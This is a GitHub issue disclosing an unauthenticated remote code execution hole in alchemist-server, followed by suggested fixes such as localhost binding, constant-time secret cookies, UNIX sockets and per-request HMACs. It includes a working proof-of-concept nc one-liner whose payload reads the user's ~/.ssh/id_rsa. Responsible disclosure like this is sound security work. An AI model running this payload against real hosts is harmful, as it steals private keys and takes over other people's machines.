Skip to content

Server executes arbitrary code from remote machines #14

@ivan

Description

@ivan

alchemist-server starts a server that executes arbitrary code from any host that can reach you on the network, without any kind of authentication.

git clone https://github.com/tonini/alchemist-server
cd alchemist-server
elixir run.exs --env=dev --listen

Take note of the port, because the exploit below doesn't brute-force the port (though this could easily be done by an attacker).

# echo 'EVAL File.write!("/tmp/payload", "File.read!(Path.expand(~s(~/.ssh/id_rsa)))");{:eval, "/tmp/payload"}' | nc 127.0.0.1 PORT
"Fake RSA key\n"
END-OF-EVAL

This also works from a remote machine because alchemist-server listens on all interfaces, not just localhost.

Listening on localhost by default would be a good idea, but is insufficient, because it still leaves the user open to attacks from other (less-trusted) users on the machine, and possibly from the user's web browser via a DNS rebinding attack.

Requiring a secret cookie before accepting any requests would be a good idea (beware, though, the secret needs a constant-time comparison). Even better would be to use a UNIX socket.

A secret cookie at the start of the connection is not a bulletproof fix because TCP connections can be hijacked in some cases. ycmd had the same problem with code execution and now HMACs every request, which seems like a better idea (if using a UNIX socket is impossible).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions